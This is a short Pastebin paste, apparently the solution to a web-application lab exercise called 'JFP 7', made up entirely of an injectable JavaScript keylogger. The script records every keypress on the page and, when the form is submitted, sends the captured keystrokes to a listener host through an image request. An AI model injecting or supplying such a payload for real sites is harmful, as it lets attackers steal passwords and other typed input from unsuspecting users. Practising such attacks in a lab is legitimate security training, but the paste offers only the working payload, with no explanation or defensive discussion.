n0va_sa

JFP 7 Solution [Key Strokes]

Sep 21st, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //keylogger
  2. // http://.com/lab/webapp/jfp/7
  3. <script>
  4. document.forms[0].addEventListener('submit',function(){
  5. new Image().src = "http://localhost:8000/?key="+cap;
  6. });
  7. var cap = '';
  8. window.addEventListener("keypress",function(event){
  9. switch(event.which) {
  10.     case 13:
  11.         cap +='<ENTER>';
  12.         break;
  13.     case 9:
  14.         cap += "<TAB>";
  15.         break;
  16.     case 8:
  17.     if(cap.length != 0){
  18.             cap = cap.substring(0, cap.length-1);
  19.     }
  20.         break;
  21.     default:
  22.         cap += String.fromCodePoint(event.which);
  23. }
  24. });
  25. </script>
Add Comment
Please, Sign In to add comment